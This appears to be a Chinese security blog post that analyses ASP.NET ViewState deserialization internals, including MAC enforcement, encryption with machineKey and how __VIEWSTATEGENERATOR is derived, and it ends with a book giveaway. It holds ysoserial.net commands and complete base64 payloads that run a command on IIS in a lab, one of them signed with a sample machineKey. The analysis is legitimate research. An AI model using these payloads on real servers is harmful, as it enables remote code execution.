使用vs2019创建一个新的项目
image.png
image.png
有一个默认的Default.aspx
image.png
其中form表单有 runat="server"
属性,然后页面中生成了 __VIEWSTATE
和 __VIEWSTATEGENERATOR
两个隐藏字段。
image.png
使用ViewStateDecoder[1]解密内容
image.png
看过我之前文章的人应该知道这一串/wEPDwULLTE2MTY2ODcyMjlkZPANhFrc/D/zynboI58b9RD9UhX7OF4/2ILmVw2Vu7d2
是由losFormatter序列化二进制数据然后base64的字符串
image.png
反序列化回来可知其本质是一组System.Web.UI.Pair
对象。我们可以在代码中向viewstate中添加键值来保存一些对象。
比如Default.aspx.cs
`using System;``using System.Collections.Generic;``using System.Web;``using System.Web.UI;``using System.Web.UI.WebControls;`` ``public partial class _Default : System.Web.UI.Page` `{` `protected void Page_Load(object sender, EventArgs e)``{` `ViewState.Add("asd", "asd");` `}``}`
此时viewstate值为 /wEPDwULLTE2MTY2ODcyMjkPFgIeA2FzZAUDYXNkZGRE3e84k6pb/oXbu/72ZxNc9h9dcEj+8FXmWEbtzuCtkQ==
image.png
也正是因为viewstate可以被任何人拿过来反序列化拿到其中的敏感信息,甚至可以直接传递恶意的viewstate进行反序列化rce(这个放后面演示),所以losformatter被弃用而转由ObjectStateFormatter代替。ObjectStateFormatter的作用就在于对viewstate进行加密,并校验签名防篡改。
在dotnet2.0中,aspx的Page标签,或者web.config中都可以对viewstate进行加密,关键取决于以下两个值
1.ViewStateEncryptionMode="Always"2.EnableViewStateMac="true"
ViewStateEncryptionMode是一个枚举,三个选项值就不解释了。
image.png
单独加密并不能解决篡改的问题,需要EnableViewStateMac来保证数据完整性。
当在aspx页面中启用ViewStateEncryptionMode="Always"
时viewstate随之加密。
image.png
而对于EnableViewStateMac
从.NET 4.5.2 开始,强制启用ViewStateMac功能,也就是说即使你将 EnableViewStateMac设置为false,也不能禁止ViewState的校验。安全公告KB2905247(于2014年9月星期二通过补丁程序发送到所有Windows计算机)将ASP.NET 设置为忽略EbableViewStateMac设置。
他的值取决于web.config中的一个键值和一个注册表的值,以及page自身的EnableViewStateMac。
在ObjectStateFormatter.Deserialize()中
image.png
array数组取决于是否启用EnableViewStateMac
image.png
这个属性又取决于EnableViewStateMacRegistryHelper类,在他的构造函数中
image.png
断点的地方从注册表中读取一个值,如果为不等于0,则返回true
image.png
也就是不为0时,强制执行
`if (flag)``{` `EnableViewStateMacRegistryHelper.EnforceViewStateMac = true;` `EnableViewStateMacRegistryHelper.SuppressMacValidationErrorsFromCrossPagePostbacks = true;``}`
将EnforceViewStateMac设置为true
另一个if条件是
`if (AppSettings.AllowInsecureDeserialization != null)``{` `EnableViewStateMacRegistryHelper.EnforceViewStateMac = !AppSettings.AllowInsecureDeserialization.Value;` `EnableViewStateMacRegistryHelper.SuppressMacValidationErrorsFromCrossPagePostbacks |= !AppSettings.AllowInsecureDeserialization.Value;``}`
对AllowInsecureDeserialization取反,AllowInsecureDeserialization这个值在web.config中可以配置。
`<configuration>` `<appSettings>` `<add key="aspnet:AllowInsecureDeserialization" value="true"/>` `</appSettings>``</configuration>`
而只有这两个值最起码要启用一个才能强制关闭EnforceViewStateMac,比如下图。
image.png
虽然page里赋值为false,但是因为注册表中没有禁用mac,在web.config中也没禁用web.config,所以即使在page中禁用mac,通过反射输出的值仍为true,此时仍然是启用了mac校验的。
`<%` `System.Reflection.PropertyInfo propertyInfo = Page.GetType().GetProperty("EnableViewStateMac", System.Reflection.BindingFlags.Public | System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance);` `object v = propertyInfo.GetValue(Page, new object[] { });` `Response.Write(propertyInfo.Name + ":" + v + "<br>");` `Response.Write(Environment.Version.ToString(3));``%>`
把注册表改为0,重启IIS,此时就能禁用mac验证了。
image.png
当禁用mac时并且没有启用加密时,我们可以直接用LosFormatter生成payload打过去。
`PS E:\code\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -f losformatter -g SessionViewStateHistoryItem -c "ping localhost -t"``/wEyqQsAAQAAAP////8BAAAAAAAAAAwCAAAAVFN5c3RlbS5XZWIuTW9iaWxlLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YjAzZjVmN2YxMWQ1MGEzYQUBAAAASVN5c3RlbS5XZWIuVUkuTW9iaWxlQ29udHJvbHMuU2Vzc2lvblZpZXdTdGF0ZStTZXNzaW9uVmlld1N0YXRlSGlzdG9yeUl0ZW0BAAAAAXMBAgAAAAYDAAAA3Akvd0V5bmdjQUFRQUFBUC8vLy84QkFBQUFBQUFBQUF3Q0FBQUFYazFwWTNKdmMyOW1kQzVRYjNkbGNsTm9aV3hzTGtWa2FYUnZjaXdnVm1WeWMybHZiajB6TGpBdU1DNHdMQ0JEZFd4MGRYSmxQVzVsZFhSeVlXd3NJRkIxWW14cFkwdGxlVlJ2YTJWdVBUTXhZbVl6T0RVMllXUXpOalJsTXpVRkFRQUFBRUpOYVdOeWIzTnZablF1Vm1semRXRnNVM1IxWkdsdkxsUmxlSFF1Um05eWJXRjBkR2x1Wnk1VVpYaDBSbTl5YldGMGRHbHVaMUoxYmxCeWIzQmxjblJwWlhNQkFBQUFEMFp2Y21WbmNtOTFibVJDY25WemFBRUNBQUFBQmdNQUFBREFCVHcvZUcxc0lIWmxjbk5wYjI0OUlqRXVNQ0lnWlc1amIyUnBibWM5SW5WMFppMHhOaUkvUGcwS1BFOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNpQk5aWFJvYjJST1lXMWxQU0pUZEdGeWRDSWdTWE5KYm1sMGFXRnNURzloWkVWdVlXSnNaV1E5SWtaaGJITmxJaUI0Yld4dWN6MGlhSFIwY0RvdkwzTmphR1Z0WVhNdWJXbGpjbTl6YjJaMExtTnZiUzkzYVc1bWVDOHlNREEyTDNoaGJXd3ZjSEpsYzJWdWRHRjBhVzl1SWlCNGJXeHVjenB6WkQwaVkyeHlMVzVoYldWemNHRmpaVHBUZVhOMFpXMHVSR2xoWjI1dmMzUnBZM003WVhOelpXMWliSGs5VTNsemRHVnRJaUI0Yld4dWN6cDRQU0pvZEhSd09pOHZjMk5vWlcxaGN5NXRhV055YjNOdlpuUXVZMjl0TDNkcGJtWjRMekl3TURZdmVHRnRiQ0krRFFvZ0lEeFBZbXBsWTNSRVlYUmhVSEp2ZG1sa1pYSXVUMkpxWldOMFNXNXpkR0Z1WTJVK0RRb2dJQ0FnUEhOa09sQnliMk5sYzNNK0RRb2dJQ0FnSUNBOGMyUTZVSEp2WTJWemN5NVRkR0Z5ZEVsdVptOCtEUW9nSUNBZ0lDQWdJRHh6WkRwUWNtOWpaWE56VTNSaGNuUkpibVp2SUVGeVozVnRaVzUwY3owaUwyTWdjR2x1WnlCc2IyTmhiR2h2YzNRZ0xYUWlJRk4wWVc1a1lYSmtSWEp5YjNKRmJtTnZaR2x1WnowaWUzZzZUblZzYkgwaUlGTjBZVzVrWVhKa1QzVjBjSFYwUlc1amIyUnBibWM5SW50NE9rNTFiR3g5SWlCVmMyVnlUbUZ0WlQwaUlpQlFZWE56ZDI5eVpEMGllM2c2VG5Wc2JIMGlJRVJ2YldGcGJqMGlJaUJNYjJGa1ZYTmxjbEJ5YjJacGJHVTlJa1poYkhObElpQkdhV3hsVG1GdFpUMGlZMjFrSWlBdlBnMEtJQ0FnSUNBZ1BDOXpaRHBRY205alpYTnpMbE4wWVhKMFNXNW1iejROQ2lBZ0lDQThMM05rT2xCeWIyTmxjM00rRFFvZ0lEd3ZUMkpxWldOMFJHRjBZVkJ5YjNacFpHVnlMazlpYW1WamRFbHVjM1JoYm1ObFBnMEtQQzlQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWEkrQ3c9PQs=`
image.png
这里爆出了TextFormattingRunProperties的错误,说明执行了命令
image.png
在传递__VIEWSTATE参数时发现是直接GET传参,其实POST传参也行,为什么直接传递参数就会被解析?是因为在Page中还有一个EnableViewState="false"的属性。
`<%@ Page Language="C#" AutoEventWireup="true" CodeFile="Default.aspx.cs" Inherits="_Default" EnableViewState="true" EnableViewStateMac="false" %>`` ``<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">`` ``<html xmlns="http://www.w3.org/1999/xhtml">``<head runat="server">` `<title></title>``</head>``<body>` `<form id="form1" runat="server">` `<div>` `<%` `System.Reflection.PropertyInfo propertyInfo = Page.GetType().GetProperty("EnableViewStateMac", System.Reflection.BindingFlags.Public | System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance);` `object v = propertyInfo.GetValue(Page, new object[] { });` `Response.Write(propertyInfo.Name + ":" + v + "<br>");` `Response.Write(Environment.Version.ToString(3));` `ViewState.Add("asd", "asd");` `%>` `</div>` `</form>``</body>``</html>`
当 EnableViewState="true"
时,__VIEWSTATE
为 /wEPDwUKLTg0NTYxMzIxNQ8WAh4DYXNkBQNhc2RkZA==
false时,__VIEWSTATE
为 /wEPDwUKLTg0NTYxMzIxNWRk
。
区别在于禁用ViewState之后ViewState只是变短了而已,但是这个字段仍然存在,所以viewstate仍会被IIS被动解析。
Page类有一个RequestViewStateString属性
image.png
从request中拿到__VIEWSTATE
image.png
在System.Web.dll!System.Web.UI.HiddenFieldPageStatePersister.Load()
中获取__VIEWSTATE
,交给objectstateformatter进行反序列化。所以请求中只要有__VIEWSTATE
就会反序列化。
到这里我们清楚了,iis默认被动解析viewstate,如果禁用mac并且没有启用加密可以直接rce。但是实际环境都是默认启用mac校验,并且一般会启用加密,所以接下来看一下启用加密的viewstate怎么利用。
启用加密需要配置machineKey字段,page中ViewStateEncryptionMode="Always"
时会自动生成machineKey。
微软文档中[2]提到在web.config中可以配置如下来自动生成machineKey。web.config中默认就是这个,效果等同于不写。
`<machineKey `` validationKey="AutoGenerate,IsolateApps" `` decryptionKey="AutoGenerate,IsolateApps" `` validation="AES" `` decryption="Auto" />`
viewstate用于身份验证的情况下,每次都会根据machineKey的配置来加密解密。而每台机器生成的key都不一样,所以在大型应用比如sharepoint中会进行手动配置machineKey。而手动配置如果我们拿到了machineKey的值,就可以对其利用。
一个手动配置的例子如下
<machineKey validationKey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" decryptionKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" validation="SHA1" decryption="AES" />
用ysoserial.net生成
`PS E:\code\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -p viewstate -g TextFormattingRunProperties -c "ping localhost -t" --validationkey=70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0 --validationalg=SHA1 --islegacy`` ``/wEyngcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADABTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi0xNiI/Pg0KPE9iamVjdERhdGFQcm92aWRlciBNZXRob2ROYW1lPSJTdGFydCIgSXNJbml0aWFsTG9hZEVuYWJsZWQ9IkZhbHNlIiB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiB4bWxuczpzZD0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uRGlhZ25vc3RpY3M7YXNzZW1ibHk9U3lzdGVtIiB4bWxuczp4PSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCI+DQogIDxPYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQogICAgPHNkOlByb2Nlc3M+DQogICAgICA8c2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgICAgIDxzZDpQcm9jZXNzU3RhcnRJbmZvIEFyZ3VtZW50cz0iL2MgcGluZyBsb2NhbGhvc3QgLXQiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+C+yvvPy4DNhXXbZoH56OR6lLdT4o`
将IIS的应用程序池设置为.net4.5,不然会报错找不到TextFormattingRunProperties的依赖
image.png
这边报错强制类型转换错误
image.png
实际上是已经执行了cmd的
image.png
大腿师傅问我VIEWSTATEGENERATOR
字段对上的话,machineKey是不是一样。以及__VIEWSTATEGENERATOR是不是根据path和apppath生成的。
在objectstateformatter的反序列化方法中,启用加密会进入GetDecodedData解密viewstate
image.png
其参数有一个GetMacKeyModifier()方法的返回值
image.png
它返回一个字节数组,其中GetClientStateIdentifier来用TemplateSourceDirectory和classname计算hashcode
image.png
接着判断viewStateUserKey是否为空,如果不为空就使用_page.ViewStateUserKey,为空就用GetClientStateIdentifier()生成的。
也能用VIEWSTATEGENERATOR字段,因为VIEWSTATEGENERATOR字段就是用GetClientStateIdentifier计算的。
image.png
回到大腿师傅的问题,我个人结论是__VIEWSTATEGENERATOR和machineKey没有关系。
本地实验两个不同的machineKey,__VIEWSTATEGENERATOR一致
image.png
而当machineKey相同,文件名和类名不同时,__VIEWSTATEGENERATOR不一致
image.png
原因就是GetClientStateIdentifier生成__VIEWSTATEGENERATOR是依据TemplateSourceDirectory和classname,而并非machineKey。
另外ysoserial.net中viewstate插件有apppath和path参数,这两个参数就是用来计算VIEWSTATEGENERATOR的值,如果页面源代码里没有VIEWSTATEGENERATOR,可以使用这两个参数来计算。
赠书环节
推荐语:
(1)系统全面,讲述企业信息安全建设从0到1的全部过程。本书聚焦安全体系如何落地,从安全体系规划、方案设计、产品选型、产品开发、部署实施、日常运维等维度详细阐释,内容覆盖办公安全、IDC安全、产品安全、数据安全、安全管理、安全自动化系统开发和业务安全体系建设,基本满足大多数中小企业的安全建设需求。
(2)结合作者实践经验,可操作性强。笔者有十多年信息安全从业经验,曾任职于国内知名网络安全厂商,为数十家企业和各类单位提供安全咨询和专业服务,熟悉企业的安全需求和痛点,本书将作者的实际工作经验总结为案例,具体实用。
(3)分析具体,深入浅出,易于理解。本书从与日常的生活与工作息息相关的安全问题着手,由浅入深循序渐进,讲解信息安全建设过程中的注意事项,便于读者理解安全架构的原理,进而使安全系统建设更加完备。
哇!小编也好想来一本,快点击下方抽奖吧!(转发朋友圈,开奖前取消作废)
[1]
ViewStateDecoder: https://github.com/raise-isayan/ViewStateDecoder/tree/master/release
[2]
微软文档中: https://docs.microsoft.com/en-us/previous-versions/msp-n-p/ff649308(v=pandp.10)?redirectedfrom=MSDN